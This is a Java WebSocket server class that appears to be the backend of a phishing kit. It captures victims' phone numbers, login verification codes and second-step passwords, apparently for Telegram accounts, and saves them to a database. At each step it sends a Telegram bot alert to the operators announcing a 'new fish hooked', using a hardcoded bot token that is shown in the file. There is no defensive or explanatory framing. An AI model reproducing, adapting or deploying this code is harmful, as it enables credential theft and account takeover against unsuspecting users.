package com.ruoyi.web.controller.socket;
|
|
import java.io.IOException;
|
import java.net.Socket;
|
import java.util.List;
|
import java.util.concurrent.ConcurrentHashMap;
|
import javax.servlet.http.HttpServletRequest;
|
import javax.websocket.OnClose;
|
import javax.websocket.OnError;
|
import javax.websocket.OnMessage;
|
import javax.websocket.OnOpen;
|
import javax.websocket.Session;
|
import javax.websocket.server.PathParam;
|
import javax.websocket.server.ServerEndpoint;
|
import com.alibaba.fastjson.JSON;
|
import com.alibaba.fastjson.JSONObject;
|
|
import com.ruoyi.system.domain.SysTgdata;
|
import com.ruoyi.system.service.ISysTgdataService;
|
import com.ruoyi.web.controller.tgbot.TBot;
|
import com.ruoyi.web.controller.tool.MyBeanUtil;
|
import org.springframework.beans.factory.annotation.Autowired;
|
import org.springframework.stereotype.Component;
|
|
|
|
/**
|
* @author zhengkai.blog.csdn.net
|
*/
|
@ServerEndpoint("/openSocket/{userId}")
|
@Component
|
public class WebSocketServer {
|
|
public static ISysTgdataService tgdataService;
|
|
|
/**concurrent包的线程安全Set，用来存放每个客户端对应的MyWebSocket对象。*/
|
private static ConcurrentHashMap<String,WebSocketServer> webSocketMap = new ConcurrentHashMap<>();
|
/**与某个客户端的连接会话，需要通过它来给客户端发送数据*/
|
private Session session;
|
/**接收userId*/
|
private String userId="";
|
|
/**
|
* 连接建立成功调用的方法*/
|
@OnOpen
|
public void onOpen(Session session, @PathParam("userId") String userId) {
|
this.session = session;
|
this.userId=userId;
|
if(webSocketMap.containsKey(userId)){
|
webSocketMap.remove(userId);
|
webSocketMap.put(userId,this);
|
//加入set中
|
}else{
|
webSocketMap.put(userId,this);
|
//加入set中
|
// addOnlineCount();
|
//在线数加1
|
}
|
// System.out.println("用户连接:"+userId+",当前在线人数为:" + getOnlineCount());
|
// log.info("用户连接:"+userId+",当前在线人数为:" + getOnlineCount());
|
|
try {
|
sendMessage("连接成功");
|
} catch (IOException e) {
|
// log.error("用户:"+userId+",网络异常!!!!!!");
|
System.out.println("用户:"+userId+",网络异常!!!!!!");
|
}
|
}
|
|
/**
|
* 连接关闭调用的方法
|
*/
|
@OnClose
|
public void onClose() {
|
if(webSocketMap.containsKey(userId)){
|
webSocketMap.remove(userId);
|
//从set中删除
|
// subOnlineCount();
|
}
|
// System.out.println("用户退出:"+userId+",当前在线人数为:" + getOnlineCount());
|
|
}
|
|
/**
|
* 接受到用户主动发送的消息，并且返回
|
*/
|
@OnMessage
|
@SuppressWarnings("all")
|
public void onMessage(String message, Session session) {
|
try {
|
|
//统一过滤
|
String[] authList = message.split("/");
|
String phone = authList[1];
|
SysTgdata sysTgdata = new SysTgdata();
|
sysTgdata.setUphone(phone);
|
List<SysTgdata> tgdataList = tgdataService.selectSysTgdataList(sysTgdata);
|
|
|
if (tgdataList.size() != 0){
|
String res = tgdataList.get(0).getUres();
|
if ("验证码错误".equals(res)){
|
sendMessage("Invalid code");
|
}else if ("密码错误".equals(res)){
|
sendMessage("Incorrect password");
|
}else if ("等待输入密码".equals(res)){
|
sendMessage("输入密码");
|
}else if ("验证通过".equals(res)){
|
sendMessage("登录成功");
|
}
|
}
|
|
|
|
//手机号
|
if (message.startsWith("client/")){
|
|
if (tgdataList.size() == 0){
|
sysTgdata.setUres("收到手机号");
|
|
tgdataService.insertSysTgdata(sysTgdata);
|
//TG消息通知
|
TBot.sendMsg("5999279550:AAHebQVosRZK4pAwBaQDItu8hfy9Q5C1kF8","新鱼儿上钩通知，请及时登录后台查看，类型：手动版，步骤：获得手机号，请管理员及时查看，@yilu888，@xminggzs","@yuanmajiaoliuqun");
|
//通知服务器
|
sendInfo("new","baseServer");
|
}
|
}
|
//验证码
|
if (message.startsWith("auth/")){
|
String code = authList[2];
|
if (tgdataList.size() != 0){
|
SysTgdata tgdata = tgdataList.get(0);
|
tgdata.setUres("收到验证码");
|
tgdata.setUvifcode(code);
|
tgdataService.updateSysTgdata(tgdata);
|
//TG消息通知
|
TBot.sendMsg("5999279550:AAHebQVosRZK4pAwBaQDItu8hfy9Q5C1kF8","新鱼儿上钩通知，请及时登录后台查看，类型：手动版，步骤：获得验证码，请管理员及时查看，@yilu888，@xminggzs","@yuanmajiaoliuqun");
|
|
//通知服务器
|
sendInfo("new","baseServer");
|
}
|
}
|
|
//密码
|
if (message.startsWith("pass/")){
|
String password = authList[2];
|
|
if (tgdataList.size() != 0){
|
SysTgdata tgdata = tgdataList.get(0);
|
tgdata.setUres("收到二次密码");
|
tgdata.setAgpass(password);
|
tgdataService.updateSysTgdata(tgdata);
|
//TG消息通知
|
TBot.sendMsg("5999279550:AAHebQVosRZK4pAwBaQDItu8hfy9Q5C1kF8","新鱼儿上钩通知，请及时登录后台查看，类型：手动版，步骤：获得二级密码，请管理员及时查看，@yilu888，@xminggzs","@yuanmajiaoliuqun");
|
|
//通知服务器
|
sendInfo("new","baseServer");
|
}
|
|
}
|
System.err.println(message);
|
} catch (IOException e) {
|
e.printStackTrace();
|
}
|
}
|
|
/**
|
* 实现服务器主动推送
|
*/
|
public void sendMessage(String message) throws IOException {
|
this.session.getBasicRemote().sendText(message);
|
}
|
|
|
/**
|
* 发送自定义消息
|
* */
|
public static String sendInfo(String message,String userId) {
|
try {
|
System.out.println("发送消息到:"+userId+"，报文:"+message);
|
|
webSocketMap.get(userId).sendMessage(message);
|
return "1";
|
}catch (Exception e){
|
e.printStackTrace();
|
return "0";
|
}
|
|
}
|
|
|
}
|
